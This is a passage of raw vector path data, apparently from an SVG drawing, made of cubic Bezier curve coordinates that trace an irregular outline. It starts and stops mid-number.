61567.70 79921.06 61574.91C79974.04 61670.61 80027.02 61766.30 80080.00 61862.00C80112.33 61894.33 80144.67 61926.67 80177.00 61959.00C80209.26 61969.59 80241.41 61980.79 80273.73 61991.00C80284.49 61991.00 80295.24 61991.00 80306.00 61991.00C80337.95 62055.36 80369.78 62119.78 80402.00 62184.00C80423.33 62194.67 80444.67 62205.33 80466.00 62216.00C80477.00 62259.00 80488.00 62302.00 80499.00 62345.00C80531.00 62377.00 80563.00 62409.00 80595.00 62441.00C80616.33 62526.67 80637.67 62612.33 80659.00 62698.00C80648.33 62762.33 80637.67 62826.67 80627.00 62891.00C80637.62 62944.91 80648.62 62998.79 80659.00 63052.73C80659.00 63073.82 80659.00 63094.91 80659.00 63116.00C80691.53 63159.15 80723.85 63202.48 80756.51 63245.51C80777.68 63266.68 80798.84 63287.84 80820.00 63309.00C80774.90 63355.99 80728.03 63401.23 80682.02 63447.32C80663.64 63465.81 80644.74 63483.93 80626.67 63502.65C80573.12 63609.77 80519.56 63716.88 80466.00 63824.00C80444.77 63931.02 80423.43 64038.02 80402.00 64145.00C80412.92 64189.68 80424.46 64234.23 80434.99 64279.00C80445.33 64331.00 80455.66 64383.00 80466.00 64435.00C80477.00 64456.33 80488.00 64477.67 80499.00 64499.00C80499.00 64531.00 80499.00 64563.00 80499.00 64595.00C80445.33 64648.67 80391.67 64702.33 80338.00 64756.00C80316.33 64799.00 80294.67 64842.00 80273.00 64885.00C80225.99 64932.25 80178.48 64979.01 80131.81 65026.60C80125.54 65033.07 80119.27 65039.54 80113.00 65046.00C80113.00 65110.33 80113.00 65174.67 80113.00 65239.00C80091.13 65271.14 80069.54 65303.52 80047.49 65335.52C79994.32 65389.01 79941.16 65442.51 79888.00 65496.00C79823.67 65528.00 79759.33 65560.00 79695.00 65592.00C79684.33 65613.67 79673.67 65635.33 79663.00 65657.00C79652.00 65657.00 79641.00 65657.00 79630.00 65657.00C79630.00 65678.33 79630.00 65699.67 79630.00 65721.00C79651.67 65742.33 79673.33 65763.67 79695.00 65785.00C79695.00 65860.00 79695.00 65935.00 79695.00 66010.00C79727.34 66064.03 79759.32 66118.28 79791.88 66172.16C79823.92 66214.78 79855.96 66257.39 79888.00 66300.00C79898.61 66342.92 79909.69 66385.78 79920.00 66428.73C79920.15 66450.37 79919.69 66472.11 79920.23 66493.69C79930.98 66525.65 79941.39 66557.77 79952.36 66589.63C79995.42 66665.53 80038.83 66741.23 80081.67 66817.24C80092.11 66837.49 80102.56 66857.75 80113.00 66878.00C80102.00 66910.33 80091.00 66942.67 80080.00 66975.00C80091.00 67007.00 80102.00 67039.00 80113.00 67071.00C80102.00 67092.67 80091.00 67114.33 80080.00 67136.00C80037.33 67157.33 79994.67 67178.67 79952.00 67200.00C79941.33 67232.00 79930.67 67264.00 79920.00 67296.00C79941.33 67360.33 79962.67 67424.67 79984.00 67489.00C79962.67 67521.33 79941.33 67553.67 79920.00 67586.00C79930.67 67650.33 79941.33 67714.67 79952.00 67779.00C79941.33 67800.33 79930.67 67821.67 79920.00 67843.00C79920.00 67864.33 79920.00 67885.67 79920.00 67907.00C79930.64 67917.96 79942.06 67928.44 79952.23 67939.69C79962.82 67971.79 79973.41 68003.90 79984.00 68036.00C79973.07 68046.71 79962.51 68057.93 79951.35 68068.32C79908.57 68089.55 79865.78 68110.77 79823.00 68132.00C79812.33 68153.67 79801.67 68175.33 79791.00 68197.00C79801.67 68218.33 79812.33 68239.67 79823.00 68261.00C79812.33 68282.33 79801.67 68303.67 79791.00 68325.00C79791.00 68346.67 79791.00 68368.33 79791.00 68390.00C79748.26 68443.58 79705.20 68496.94 79662.67 68550.65C79651.30 68572.66 79640.53 68595.02 79628.79 68616.82C79607.65 68648.35 79586.81 68680.13 79565.49 68711.51C79554.95 68722.27 79543.89 68732.66 79533.68 68743.65C79512.45 68786.43 79491.23 68829.22 79470.00 68872.00C79480.94 68904.41 79491.40 68937.02 79502.64 68969.31C79513.10 68990.54 79523.55 69011.77 79534.00 69033.00C79533.88 69054.56 79534.23 69076.18 79533.82 69097.71C79523.22 69140.47 79512.61 69183.24 79502.00 69226.00C79523.38 69247.60 79545.26 69268.83 79566.33 69290.65C79576.88 69311.77 79587.44 69332.88 79598.00 69354.00C79598.00 69375.33 79598.00 69396.67 79598.00 69418.00C79587.35 69429.29 79575.96 69440.12 79565.77 69451.69C79554.90 69483.87 79544.54 69516.26 79533.35 69548.30C79518.41 69578.63 79502.41 69608.46 79489.26 69639.63C79450.51 69726.76 79411.75 69813.88 79373.00 69901.00C79383.96 69911.64 79394.44 69923.06 79405.69 69933.23C79437.79 69943.82 79469.90 69954.41 79502.00 69965.00C79544.67 69943.67 79587.33 69922.33 79630.00 69901.00C79641.46 69900.76 79653.03 69901.48 79664.41 69900.65C79706.61 69890.10 79748.80 69879.55 79791.00 69869.00C79834.00 69890.33 79877.00 69911.67 79920.00 69933.00C79920.00 69943.67 79920.00 69954.33 79920.00 69965.00C79908.87 69975.86 79898.22 69987.32 79886.79 69997.81C79854.72 70019.41 79822.41 70040.73 79790.48 70062.51C79721.76 70131.06 79652.68 70199.24 79584.19 70268.02C79567.46 70285.01 79550.73 70302.01 79534.00 70319.00C79501.67 70319.00 79469.33 70319.00 79437.00 70319.00C79415.40 70329.61 79394.00 70340.88 79372.28 70351.08C79275.94 70361.69 79179.62 70372.52 79083.27 70383.00C76939.12 70382.98 74794.97 70383.04 72650.81 70382.97C71760.66 70372.33 70870.51 70361.57 69980.36 70351.00C68116.90 70351.00 66253.45 70351.00 64390.00 70351.00C64357.67 70286.67 64325.33 70222.33 64293.00 70158.00C64282.33 70147.33 64271.67 70136.67 64261.00 70126.00C64271.67 70093.67 64282.33 70061.33 64293.00 70029.00C64282.07 70018.29 64271.51 70007.07 64260.35 69996.67C64239.11 69985.88 64217.50 69975.59 64196.49 69964.49C64185.70 69954.01 64175.39 69942.76 64164.31 69932.77C64132.21 69922.18 64100.10 69911.59 64068.00 69901.00C64025.33 69911.67 63982.67 69922.33 63940.00 69933.00C63929.00 69922.33 63918.00 69911.67 63907.00 69901.00C63896.33 69868.67 63885.67 69836.33 63875.00 69804.00C63853.67 69814.67 63832.33 69825.33 63811.00 69836.00C63789.67 69836.00 63768.33 69836.00 63747.00 69836.00C63736.00 69857.67 63725.00 69879.33 63714.00 69901.00C63725.00 69911.67 63736.00 69922.33 63747.00 69933.00C63736.00 69943.67 63725.00 69954.33 63714.00 69965.00C63714.00 69975.67 63714.00 69986.33 63714.00 69997.00C63692.67 70007.67 63671.33 70018.33 63650.00 70029.00C63650.00 70040.00 63650.00 70051.00 63650.00 70062.00C63628.67 70083.33 63607.33 70104.67 63586.00 70126.00C63564.33 70115.33 63542.67 70104.67 63521.00 70094.00C63489.00 70094.00 63457.00 70094.00 63425.00 70094.00C63393.00 70072.33 63361.00 70050.67 63329.00 70029.00C63318.00 70029.00 63307.00 70029.00 63296.00 70029.00C63285.33 70050.67 63274.67 70072.33 63264.00 70094.00C63264.00 70147.33 63264.00 70200.67 63264.00 70254.00C63242.62 70275.93 63220.75 70297.50 63199.67 70319.65C63189.12 70340.77 63178.56 70361.88 63168.00 70383.00C63178.67 70404.33 63189.33 70425.67 63200.00 70447.00C63189.33 70457.67 63178.67 70468.33 63168.00 70479.00C63168.00 70522.00 63168.00 70565.00 63168.00 70608.00C63135.67 70629.33 63103.33 70650.67 63071.00 70672.00C63039.00 70672.00 63007.00 70672.00 62975.00 70672.00C62975.00 70693.67 62975.00 70715.33 62975.00 70737.00C62943.00 70737.00 62911.00 70737.00 62879.00 70737.00C62857.33 70747.67 62835.67 70758.33 62814.00 70769.00C62749.67 70747.67 62685.33 70726.33 62621.00 70705.00C62610.33 70715.67 62599.67 70726.33 62589.00 70737.00C62578.33 70726.33 62567.67 70715.67 62557.00 70705.00C62557.00 70672.67 62557.00 70640.33 62557.00 70608.00C62535.67 70576.00 62514.33 70544.00 62493.00 70512.00C62471.33 70501.00 62449.67 70490.00 62428.00 70479.00C62406.67 70436.33 62385.33 70393.67 62364.00 70351.00C62299.67 70351.00 62235.33 70351.00 62171.00 70351.00C62128.33 70372.33 62085.67 70393.67 62043.00 70415.00C62000.00 70404.33 61957.00 70393.67 61914.00 70383.00C61871.00 70276.00 61828.00 70169.00 61785.00 70062.00C61785.22 70050.81 61784.56 70039.41 61785.33 70028.35C61795.88 70007.23 61806.44 69986.12 61817.00 69965.00C61806.07 69954.29 61795.51 69943.07 61784.35 69932.67C61763.23 69922.12 61742.12 69911.56 61721.00 69901.00C61710.33 69879.33 61699.67 69857.67 61689.00 69836.00C61699.67 69814.67 61710.33 69793.33 61721.00 69772.00C61699.67 69740.00 61678.33 69708.00 61657.00 69676.00C61624.67 69654.33 61592.33 69632.67 61560.00 69611.00C61570.67 69600.33 61581.33 69589.67 61592.00 69579.00C61624.33 69579.00 61656.67 69579.00 61689.00 69579.00C61689.00 69557.67 61689.00 69536.33 61689.00 69515.00C61678.19 69492.94 61666.65 69471.18 61656.30 69448.93C61645.53 69417.29 61634.76 69385.64 61624.00 69354.00C61560.00 69354.00 61496.00 69354.00 61432.00 69354.00C61410.33 69332.67 61388.67 69311.33 61367.00 69290.00C61324.33 69279.33 61281.67 69268.67 61239.00 69258.00C61228.07 69268.71 61217.51 69279.94 61206.35 69290.32C61184.77 69301.12 61162.83 69311.40 61141.49 69322.51C61130.99 69333.01 61120.50 69343.51 61110.00 69354.00C61110.00 69375.33 61110.00 69396.67 61110.00 69418.00C61142.33 69450.33 61174.67 69482.67 61207.00 69515.00C61196.00 69536.33 61185.00 69557.67 61174.00 69579.00C61163.18 69578.72 61152.00 69579.57 61141.41 69578.58C61066.46 69524.85 60991.30 69471.36 60916.49 69417.49C60905.99 69406.99 60895.50 69396.49 60885.00 69386.00C60885.27 69375.17 60884.46 69364.02 60885.40 69353.39C60906.76 69321.13 60928.56 69289.12 60949.64 69256.69C60960.10 69235.46 60970.55 69214.23 60981.00 69193.00C60959.67 69171.67 60938.33 69150.33 60917.00 69129.00C60927.67 69097.00 60938.33 69065.00 60949.00 69033.00C60938.33 69011.33 60927.67 68989.67 60917.00 68968.00C60895.67 68968.00 60874.33 68968.00 60853.00 68968.00C60842.28 68957.07 60831.08 68946.50 60820.67 68935.35C60809.78 68914.24 60798.89 68893.12 60788.00 68872.00C60787.88 68839.44 60788.24 68806.82 60787.82 68774.29C60777.21 68731.86 60766.61 68689.43 60756.00 68647.00C60766.83 68603.80 60777.24 68560.45 60788.33 68517.35C60799.22 68496.24 60810.11 68475.12 60821.00 68454.00C60821.00 68432.67 60821.00 68411.33 60821.00 68390.00C60809.74 68378.96 60798.84 68367.40 60787.35 68356.67C60744.90 68335.45 60702.45 68314.23 60660.00 68293.00C60638.44 68292.88 60616.82 68293.23 60595.29 68292.82C60552.33 68282.06 60509.22 68271.69 60466.35 68260.67C60445.23 68250.12 60424.12 68239.56 60403.00 68229.00C60392.10 68207.54 60381.70 68185.72 60370.49 68164.49C60348.99 68142.99 60327.50 68121.49 60306.00 68100.00C60295.33 68110.67 60284.67 68121.33 60274.00 68132.00C60263.33 68132.00 60252.67 68132.00 60242.00 68132.00C60231.33 68153.67 60220.67 68175.33 60210.00 68197.00C60188.21 68207.90 60166.04 68218.29 60144.49 68229.51C60112.66 68261.34 60080.83 68293.17 60049.00 68325.00C60038.33 68325.00 60027.67 68325.00 60017.00 68325.00C60017.00 68314.33 60017.00 68303.67 60017.00 68293.00C60006.29 68282.07 59995.07 68271.51 59984.67 68260.35C59974.12 68239.23 59963.56 68218.12 59953.00 68197.00C59931.33 68197.00 59909.67 68197.00 59888.00 68197.00C59898.67 68175.33 59909.33 68153.67 59920.00 68132.00C59909.33 68110.67 59898.67 68089.33 59888.00 68068.00C59888.00 68046.67 59888.00 68025.33 59888.00 68004.00C59877.33 68004.00 59866.67 68004.00 59856.00 68004.00C59866.67 67982.33 59877.33 67960.67 59888.00 67939.00C59877.33 67907.00 59866.67 67875.00 59856.00 67843.00C59845.33 67843.00 59834.67 67843.00 59824.00 67843.00C59813.33 67832.33 59802.67 67821.67 59792.00 67811.00C59781.33 67811.00 59770.67 67811.00 59760.00 67811.00C59749.00 67800.33 59738.00 67789.67 59727.00 67779.00C59716.33 67789.67 59705.67 67800.33 59695.00 67811.00C59684.29 67800.07 59673.06 67789.51 59662.68 67778.35C59652.12 67756.90 59641.56 67735.45 59631.00 67714.00C59566.67 67682.00 59502.33 67650.00 59438.00 67618.00C59427.33 67607.33 59416.67 67596.67 59406.00 67586.00C59416.67 67575.33 59427.33 67564.67 59438.00 67554.00C59416.67 67511.00 59395.33 67468.00 59374.00 67425.00C59352.33 67414.33 59330.67 67403.67 59309.00 67393.00C59298.33 67371.67 59287.67 67350.33 59277.00 67329.00C59277.00 67307.33 59277.00 67285.67 59277.00 67264.00C59287.72 67253.07 59298.92 67242.50 59309.33 67231.35C59320.22 67210.24 59331.11 67189.12 59342.00 67168.00C59331.00 67157.33 59320.00 67146.67 59309.00 67136.00C59298.33 67103.67 59287.67 67071.33 59277.00 67039.00C59287.67 67028.33 59298.33 67017.67 59309.00 67007.00C59287.67 66985.67 59266.33 66964.33 59245.00 66943.00C59245.00 66932.00 59245.00 66921.00 59245.00 66910.00C59212.86 66888.46 59180.48 66867.21 59148.48 66845.49C59108.36 66806.19 59068.46 66766.67 59029.14 66726.57C59015.16 66712.67 59001.56 66698.25 58987.35 66684.68C58923.23 66652.78 58859.12 66620.89 58795.00 66589.00C58752.00 66589.00 58709.00 66589.00 58666.00 66589.00C58654.86 66567.10 58644.32 66544.85 58632.80 66523.18C58611.86 66491.45 58590.93 66459.73 58570.00 66428.00C58559.33 66428.00 58548.67 66428.00 58538.00 66428.00C58527.33 66417.33 58516.67 66406.67 58506.00 66396.00C58495.00 66396.00 58484.00 66396.00 58473.00 66396.00C58451.67 66374.67 58430.33 66353.33 58409.00 66332.00C57358.67 66332.00 56308.33 66332.00 55258.00 66332.00C55118.67 66321.33 54979.33 66310.67 54840.00 66300.00C54829.33 66375.00 54818.67 66450.00 54808.00 66525.00C54818.67 66546.33 54829.33 66567.67 54840.00 66589.00C54829.33 66610.33 54818.67 66631.67 54808.00 66653.00C54786.67 66663.67 54765.33 66674.33 54744.00 66685.00C54733.33 66717.33 54722.67 66749.67 54712.00 66782.00C54679.67 66803.33 54647.33 66824.67 54615.00 66846.00C54615.00 66867.33 54615.00 66888.67 54615.00 66910.00C54625.67 66921.00 54636.33 66932.00 54647.00 66943.00C54636.33 66975.00 54625.67 67007.00 54615.00 67039.00C54604.18 67050.16 54592.60 67060.72 54582.25 67072.25C54550.50 67125.50 54518.75 67178.75 54487.00 67232.00C54433.20 67264.55 54379.11 67296.74 54325.48 67329.51C54293.32 67361.34 54261.16 67393.17 54229.00 67425.00C54229.24 67435.85 54228.52 67446.95 54229.36 67457.63C54272.24 67532.42 54315.12 67607.21 54358.00 67682.00C54315.00 67714.33 54272.00 67746.67 54229.00 67779.00C54207.67 67811.00 54186.33 67843.00 54165.00 67875.00C54165.00 67896.33 54165.00 67917.67 54165.00 67939.00C54143.45 67971.47 54122.23 68004.21 54100.48 68036.51C54089.65 68047.01 54078.83 68057.50 54068.00 68068.00C54057.33 68068.00 54046.67 68068.00 54036.00 68068.00C53982.67 68025.00 53929.33 67982.00 53876.00 67939.00C53811.61 67917.82 53747.28 67896.49 53683.00 67875.00C53650.67 67875.00 53618.33 67875.00 53586.00 67875.00C53574.86 67896.90 53564.32 67919.15 53552.80 67940.82C53531.65 67972.69 53510.82 68004.80 53489.49 68036.51C53478.99 68047.01 53468.50 68057.51 53458.00 68068.00C53425.67 68057.33 53393.33 68046.67 53361.00 68036.00C53339.67 68046.67 53318.33 68057.33 53297.00 68068.00C53297.00 68164.33 53297.00 68260.67 53297.00 68357.00C53243.33 68389.33 53189.67 68421.67 53136.00 68454.00C53136.00 68475.33 53136.00 68496.67 53136.00 68518.00C53179.00 68528.67 53222.00 68539.33 53265.00 68550.00C53286.33 68571.67 53307.67 68593.33 53329.00 68615.00C53329.00 68636.33 53329.00 68657.67 53329.00 68679.00C53275.33 68722.00 53221.67 68765.00 53168.00 68808.00C53168.30 68819.10 53167.39 68830.40 53168.46 68841.38C53178.97 68872.92 53189.49 68904.46 53200.00 68936.00C53232.33 68968.33 53264.67 69000.67 53297.00 69033.00C53297.00 69065.00 53297.00 69097.00 53297.00 69129.00C53318.33 69150.33 53339.67 69171.67 53361.00 69193.00C53371.67 69193.00 53382.33 69193.00 53393.00 69193.00C53393.00 69214.67 53393.00 69236.33 53393.00 69258.00C53361.00 69311.33 53329.00 69364.67 53297.00 69418.00C53286.33 69418.00 53275.67 69418.00 53265.00 69418.00C53243.33 69396.67 53221.67 69375.33 53200.00 69354.00C53200.00 69343.33 53200.00 69332.67 53200.00 69322.00C53189.33 69311.33 53178.67 69300.67 53168.00 69290.00C53157.33 69290.00 53146.67 69290.00 53136.00 69290.00C53125.33 69300.67 53114.67 69311.33 53104.00 69322.00C53093.33 69375.67 53082.67 69429.33 53072.00 69483.00C53050.33 69493.67 53028.67 69504.33 53007.00 69515.00C53007.00 69536.33 53007.00 69557.67 53007.00 69579.00C52996.10 69600.46 52985.69 69622.27 52974.49 69643.52C52964.00 69654.35 52953.50 69665.17 52943.00 69676.00C52953.67 69686.67 52964.33 69697.33 52975.00 69708.00C52943.00 69750.67 52911.00 69793.33 52879.00 69836.00C52889.67 69879.00 52900.33 69922.00 52911.00 69965.00C52846.42 69954.37 52781.87 69943.43 52717.27 69933.00C52706.68 69933.27 52695.78 69932.46 52685.39 69933.40C52653.26 69954.60 52621.13 69975.80 52589.00 69997.00C52567.67 69997.00 52546.33 69997.00 52525.00 69997.00C52503.67 69986.33 52482.33 69975.67 52461.00 69965.00C52450.14 69976.13 52438.68 69986.78 52428.19 69998.21C52406.79 70030.14 52385.40 70062.07 52364.00 70094.00C52364.00 70147.33 52364.00 70200.67 52364.00 70254.00C52385.67 70297.00 52407.33 70340.00 52429.00 70383.00C52417.77 70404.46 52407.02 70426.27 52395.49 70447.52C52363.66 70479.68 52331.83 70511.84 52300.00 70544.00C52300.15 70565.55 52299.70 70587.20 52300.23 70608.69C52310.74 70641.05 52321.87 70673.31 52332.00 70705.73C52332.14 70748.63 52331.73 70791.57 52332.21 70834.44C52342.77 70909.21 52353.61 70983.95 52364.00 71058.73C52364.00 71080.15 52364.00 71101.58 52364.00 71123.00C52353.33 71133.67 52342.67 71144.33 52332.00 71155.00C52289.33 71155.00 52246.67 71155.00 52204.00 71155.00C52118.00 71208.33 52032.00 71261.67 51946.00 71315.00C51892.67 71304.33 51839.33 71293.67 51786.00 71283.00C51732.09 71293.62 51678.21 71304.62 51624.27 71315.00C51602.85 71315.00 51581.42 71315.00 51560.00 71315.00C51538.67 71304.33 51517.33 71293.67 51496.00 71283.00C51496.18 71272.13 51495.64 71261.11 51496.27 71250.32C51517.51 71196.88 51538.76 71143.44 51560.00 71090.00C51560.00 71058.00 51560.00 71026.00 51560.00 70994.00C51538.45 70994.17 51516.79 70993.66 51495.32 70994.26C51409.67 71026.30 51323.94 71058.16 51238.35 71090.33C51195.31 71111.89 51152.42 71133.86 51109.29 71155.18C51066.66 71165.94 51023.89 71176.32 50981.35 71187.32C50959.90 71197.88 50938.45 71208.44 50917.00 71219.00C50884.77 71219.12 50852.49 71218.77 50820.29 71219.18C50777.53 71229.78 50734.76 71240.39 50692.00 71251.00C50627.42 71240.37 50562.87 71229.43 50498.27 71219.00C50477.18 71219.00 50456.09 71219.00 50435.00 71219.00C50424.07 71229.71 50413.51 71240.93 50402.35 71251.33C50381.23 71261.88 50360.12 71272.44 50339.00 71283.00C50328.33 71283.00 50317.67 71283.00 50307.00 71283.00C50307.00 71304.67 50307.00 71326.33 50307.00 71348.00C50285.21 71358.90 50263.04 71369.29 50241.49 71380.51C50230.99 71391.01 50220.50 71401.51 50210.00 71412.00C50188.44 71411.88 50166.82 71412.23 50145.29 71411.82C50102.28 71401.27 50059.32 71390.26 50016.27 71380.00C49984.51 71380.00 49952.76 71380.00 49921.00 71380.00C49899.33 71390.67 49877.67 71401.33 49856.00 71412.00C49834.46 71379.53 49813.22 71346.80 49791.49 71314.49C49780.99 71303.99 49770.50 71293.49 49760.00 71283.00C49738.67 71283.00 49717.33 71283.00 49696.00 71283.00C49696.00 71293.67 49696.00 71304.33 49696.00 71315.00C49653.00 71347.33 49610.00 71379.67 49567.00 71412.00C49534.75 71422.59 49502.59 71433.79 49470.27 71444.00C49459.51 71444.00 49448.76 71444.00 49438.00 71444.00C49405.80 71400.85 49373.82 71357.52 49341.49 71314.49C49330.99 71303.99 49320.50 71293.49 49310.00 71283.00C49266.77 71283.12 49223.49 71282.76 49180.29 71283.18C49137.86 71293.79 49095.43 71304.39 49053.00 71315.00C49009.15 71347.82 48965.58 71381.03 48921.57 71413.61C48890.04 71434.40 48858.52 71455.20 48827.00 71476.00C48816.10 71497.79 48805.71 71519.96 48794.49 71541.51C48783.99 71552.01 48773.50 71562.51 48763.00 71573.00C48741.67 71562.33 48720.33 71551.67 48699.00 71541.00C48699.00 71594.33 48699.00 71647.67 48699.00 71701.00C48677.67 71776.00 48656.33 71851.00 48635.00 71926.00C48624.00 71937.00 48613.00 71948.00 48602.00 71959.00C48602.00 71991.00 48602.00 72023.00 48602.00 72055.00C48613.00 72065.67 48624.00 72076.33 48635.00 72087.00C48635.00 72140.67 48635.00 72194.33 48635.00 72248.00C48645.67 72269.33 48656.33 72290.67 48667.00 72312.00C48667.21 72322.86 48666.57 72333.92 48667.32 72344.65C48677.88 72366.10 48688.44 72387.55 48699.00 72409.00C48688.29 72419.93 48677.07 72430.49 48666.67 72441.65C48655.97 72463.50 48644.54 72485.04 48634.30 72507.07C48623.61 72538.97 48612.29 72570.76 48602.00 72602.73C48602.00 72613.15 48602.00 72623.58 48602.00 72634.00C48580.67 72644.67 48559.33 72655.33 48538.00 72666.00C48538.00 72676.67 48538.00 72687.33 48538.00 72698.00C48516.67 72719.33 48495.33 72740.67 48474.00 72762.00C48441.67 72762.00 48409.33 72762.00 48377.00 72762.00C48355.67 72783.67 48334.33 72805.33 48313.00 72827.00C48313.00 72848.33 48313.00 72869.67 48313.00 72891.00C48291.67 72912.33 48270.33 72933.67 48249.00 72955.00C48259.67 72976.67 48270.33 72998.33 48281.00 73020.00C48259.67 73020.00 48238.33 73020.00 48217.00 73020.00C48195.08 73041.08 48173.40 73062.40 48152.00 73084.00C48141.33 73084.00 48130.67 73084.00 48120.00 73084.00C48130.67 73116.00 48141.33 73148.00 48152.00 73180.00C48130.67 73201.67 48109.33 73223.33 48088.00 73245.00C48088.00 73255.67 48088.00 73266.33 48088.00 73277.00C48077.33 73287.67 48066.67 73298.33 48056.00 73309.00C48002.33 73309.00 47948.67 73309.00 47895.00 73309.00C47884.33 73319.67 47873.67 73330.33 47863.00 73341.00C47873.67 73362.33 47884.33 73383.67 47895.00 73405.00C47873.67 73416.00 47852.33 73427.00 47831.00 73438.00C47809.33 73438.00 47787.67 73438.00 47766.00 73438.00C47723.33 73470.00 47680.67 73502.00 47638.00 73534.00C47616.33 73512.67 47594.67 73491.33 47573.00 73470.00C47540.75 73459.41 47508.59 73448.21 47476.27 73438.00C47455.18 73438.00 47434.09 73438.00 47413.00 73438.00C47413.00 73416.33 47413.00 73394.67 47413.00 73373.00C47434.33 73341.00 47455.67 73309.00 47477.00 73277.00C47477.00 73255.67 47477.00 73234.33 47477.00 73213.00C47445.00 73202.00 47413.00 73191.00 47381.00 73180.00C47381.34 73168.65 47380.32 73157.13 47381.53 73145.88C47392.02 73103.92 47402.51 73061.96 47413.00 73020.00C47380.67 72966.33 47348.33 72912.67 47316.00 72859.00C47316.00 72805.33 47316.00 72751.67 47316.00 72698.00C47262.67 72666.00 47209.33 72634.00 47156.00 72602.00C47144.79 72602.18 47133.44 72601.63 47122.32 72602.27C47069.22 72623.51 47016.11 72644.76 46963.00 72666.00C46941.08 72687.40 46919.47 72709.21 46897.37 72730.36C46822.58 72773.24 46747.79 72816.12 46673.00 72859.00C46662.33 72880.33 46651.67 72901.67 46641.00 72923.00C46598.00 72923.00 46555.00 72923.00 46512.00 72923.00C46512.00 72933.67 46512.00 72944.33 46512.00 72955.00C46501.33 72965.67 46490.67 72976.33 46480.00 72987.00C46469.17 72986.73 46458.02 72987.54 46447.39 72986.60C46415.13 72965.24 46383.11 72943.45 46350.69 72922.35C46308.13 72901.24 46265.57 72880.12 46223.00 72859.00C46212.33 72869.67 46201.67 72880.33 46191.00 72891.00C46190.90 72976.90 46191.19 73062.84 46190.86 73148.71C46180.29 73202.39 46169.33 73256.03 46159.00 73309.73C46159.22 73320.34 46158.57 73331.16 46159.33 73341.65C46170.24 73363.94 46181.90 73385.89 46192.35 73408.39C46213.23 73460.92 46234.11 73513.46 46255.00 73566.00C46255.00 73587.67 46255.00 73609.33 46255.00 73631.00C46244.33 73620.00 46233.67 73609.00 46223.00 73598.00C46201.67 73609.00 46180.33 73620.00 46159.00 73631.00C46137.33 73609.33 46115.67 73587.67 46094.00 73566.00C46083.33 73587.67 46072.67 73609.33 46062.00 73631.00C46030.00 73641.67 45998.00 73652.33 45966.00 73663.00C45955.33 73652.33 45944.67 73641.67 45934.00 73631.00C45934.00 73609.33 45934.00 73587.67 45934.00 73566.00C45923.00 73555.33 45912.00 73544.67 45901.00 73534.00C45879.67 73534.00 45858.33 73534.00 45837.00 73534.00C45783.09 73490.93 45729.40 73447.52 45675.35 73404.67C45654.23 73394.12 45633.12 73383.56 45612.00 73373.00C45569.33 73373.00 45526.67 73373.00 45484.00 73373.00C45427.18 73391.65 45370.39 73410.39 45313.94 73430.12C45306.18 73433.01 45297.95 73435.15 45290.49 73438.51C45279.94 73449.27 45268.91 73459.67 45258.67 73470.65C45247.78 73491.76 45236.89 73512.88 45226.00 73534.00C45183.33 73534.00 45140.67 73534.00 45098.00 73534.00C45087.00 73619.67 45076.00 73705.33 45065.00 73791.00C45043.67 73801.67 45022.33 73812.33 45001.00 73823.00C44958.33 73909.00 44915.67 73995.00 44873.00 74081.00C44861.81 74080.78 44850.41 74081.44 44839.35 74080.67C44818.23 74070.12 44797.12 74059.56 44776.00 74049.00C44765.33 74049.00 44754.67 74049.00 44744.00 74049.00C44733.33 74070.33 44722.67 74091.67 44712.00 74113.00C44690.67 74113.00 44669.33 74113.00 44648.00 74113.00C44615.12 74144.45 44583.21 74176.87 44551.00 74209.00C44540.33 74209.00 44529.67 74209.00 44519.00 74209.00C44508.33 74177.00 44497.67 74145.00 44487.00 74113.00C44476.33 74102.33 44465.67 74091.67 44455.00 74081.00C44444.33 74081.00 44433.67 74081.00 44423.00 74081.00C44412.00 74027.33 44401.00 73973.67 44390.00 73920.00C44368.67 73930.67 44347.33 73941.33 44326.00 73952.00C44315.33 73952.00 44304.67 73952.00 44294.00 73952.00C44294.00 73920.00 44294.00 73888.00 44294.00 73856.00C44283.33 73845.00 44272.67 73834.00 44262.00 73823.00C44251.33 73823.00 44240.67 73823.00 44230.00 73823.00C44197.67 73791.00 44165.33 73759.00 44133.00 73727.00C44111.45 73726.85 44089.80 73727.30 44068.31 73726.77C44036.21 73716.18 44004.10 73705.59 43972.00 73695.00C43961.25 73673.18 43949.97 73651.57 43939.54 73629.62C43929.03 73597.74 43918.51 73565.87 43908.00 73534.00C43875.85 73512.46 43843.49 73491.20 43811.48 73469.49C43800.39 73458.94 43789.64 73447.93 43778.35 73437.67C43757.24 73426.78 43736.12 73415.89 43715.00 73405.00C43715.00 73383.67 43715.00 73362.33 43715.00 73341.00C43683.00 73341.00 43651.00 73341.00 43619.00 73341.00C43597.33 73330.33 43575.67 73319.67 43554.00 73309.00C43489.67 73309.00 43425.33 73309.00 43361.00 73309.00C43361.00 73319.67 43361.00 73330.33 43361.00 73341.00C43339.67 73351.67 43318.33 73362.33 43297.00 73373.00C43232.67 73373.00 43168.33 73373.00 43104.00 73373.00C43071.75 73362.41 43039.59 73351.21 43007.27 73341.00C42985.85 73341.00 42964.42 73341.00 42943.00 73341.00C42911.00 73362.33 42879.00 73383.67 42847.00 73405.00C42836.33 73405.00 42825.67 73405.00 42815.00 73405.00C42793.67 73426.67 42772.33 73448.33 42751.00 73470.00C42697.33 73448.33 42643.67 73426.67 42590.00 73405.00C42568.33 73405.00 42546.67 73405.00 42525.00 73405.00C42503.67 73416.00 42482.33 73427.00 42461.00 73438.00C42450.33 73438.00 42439.67 73438.00 42429.00 73438.00C42396.67 73405.67 42364.33 73373.33 42332.00 73341.00C42289.33 73341.00 42246.67 73341.00 42204.00 73341.00C42214.67 73373.33 42225.33 73405.67 42236.00 73438.00C42225.33 73448.67 42214.67 73459.33 42204.00 73470.00C42161.00 73470.00 42118.00 73470.00 42075.00 73470.00C42075.00 73448.33 42075.00 73426.67 42075.00 73405.00C42064.33 73394.33 42053.67 73383.67 42043.00 73373.00C42021.67 73394.67 42000.33 73416.33 41979.00 73438.00C41946.67 73416.33 41914.33 73394.67 41882.00 73373.00C41860.67 73383.67 41839.33 73394.33 41818.00 73405.00C41807.13 73404.82 41796.11 73405.36 41785.32 73404.73C41731.88 73383.49 41678.44 73362.24 41625.00 73341.00C41614.33 73351.67 41603.67 73362.33 41593.00 73373.00C41593.00 73383.67 41593.00 73394.33 41593.00 73405.00C41625.00 73426.67 41657.00 73448.33 41689.00 73470.00C41700.00 73502.00 41711.00 73534.00 41722.00 73566.00C41722.00 73641.00 41722.00 73716.00 41722.00 73791.00C41668.33 73834.00 41614.67 73877.00 41561.00 73920.00C41539.67 73963.00 41518.33 74006.00 41497.00 74049.00C41453.78 74091.79 41410.74 74134.78 41367.42 74177.44C41324.61 74209.63 41281.81 74241.81 41239.00 74274.00C41228.33 74295.33 41217.67 